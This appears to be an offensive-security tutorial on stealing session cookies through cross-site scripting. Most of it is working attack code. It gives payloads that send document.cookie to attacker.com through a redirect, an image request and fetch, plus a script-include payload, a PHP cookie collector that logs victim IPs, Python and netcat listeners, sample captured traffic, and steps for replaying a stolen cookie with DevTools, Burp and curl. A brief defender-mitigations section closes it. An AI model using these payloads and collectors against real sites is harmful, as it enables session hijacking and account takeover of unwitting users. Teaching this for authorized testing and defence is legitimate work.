Beyond phishing, XSS can steal the victim’s session cookies directly — no form, no social engineering. If the victim’s browser runs your JS, you read document.cookie and send it to your server. Replay the cookie and you are the victim as far as the application is concerned.
Why Cookies Are Credentials
A session cookie is a bearer token. Whoever presents a valid session cookie is treated as the logged-in user — no password needed. This is why HttpOnly, Secure, SameSite, and short session lifetimes exist: they all target this exact attack.
Cookie Theft Payloads
Full-Page Redirect (Loud)
document.location = 'http://attacker.com/log?c=' + document.cookie;Victim’s browser visits your server with their cookies in the URL. Downside: they notice the redirect.
Image-Based (Stealthy, Preferred)
new Image().src = 'http://attacker.com/log?c=' + document.cookie;Looks like a background resource load. No visible navigation, no user-facing disruption.
XHR (Also Stealthy)
fetch('http://attacker.com/log?c=' + document.cookie);Same stealth benefit, works in modern apps.
Hosting the Collector
Option 1 — PHP Collector
index.php:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>This splits a multi-cookie string on ; and logs each cookie separately per victim — important because real sessions often set multiple cookies.
Start the server:
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80Option 2 — Python Quick Logger
python3 -c "
from http.server import *
class H(BaseHTTPRequestHandler):
def do_GET(self):
with open('cookies.txt','a') as f: f.write(f'{self.client_address[0]} {self.path}\n')
self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0',80),H).serve_forever()
"Option 3 — Netcat for One-Offs
nc -lvnp 80Prints requests as they arrive but doesn’t respond — fine for quick confirmation, bad for ongoing capture.
Delivery via External Script
For larger payloads, host the JS as a file and reference it:
script.js on your server:
new Image().src = 'http://attacker.com/index.php?c=' + document.cookie;Injected payload in the vulnerable app:
<script src="http://attacker.com/script.js"></script>Benefit: short, easier to inject through length-limited fields.
Example Traffic Flow
On your attacker box:
10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2
In cookies.txt:
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
Replaying the Stolen Cookie
In Firefox DevTools
- Open target application’s login page (any non-authenticated page)
- Open DevTools Storage tab:
Shift+F9 - Click +, add cookie:
Name= part before=,Value= part after= - Refresh → authenticated as the victim
In Burp Repeater
Just paste the stolen Cookie: header into any authenticated-endpoint request.
Via curl
curl -b "sessionid=f904f93c949d19d870911bf8b05fe7b2" http://target/adminHttpOnly Blocks This Attack
If the session cookie has the HttpOnly flag set, document.cookie in JavaScript won’t return it. You can still:
- Steal other cookies (CSRF tokens, preference data)
- Phish credentials via the technique in the previous section
- Perform actions as the victim without stealing the cookie (just make authenticated requests via
fetchwithcredentials: 'include')
That last option — using XSS to perform authenticated actions directly — is often more impactful than cookie theft, because it works even with HttpOnly.
Defender Mitigations
HttpOnlycookie flag — blocksdocument.cookieaccessSecureflag — cookie only sent over HTTPSSameSite=Strict/SameSite=Lax— blocks cross-site cookie sends- Short session lifetimes — reduces replay window
- Rebinding sessions to IP or fingerprint — makes replay from other networks harder
- CSP that blocks inline scripts and external script loads
Any one of these breaks the attack chain. In practice, HttpOnly is the single most impactful change.
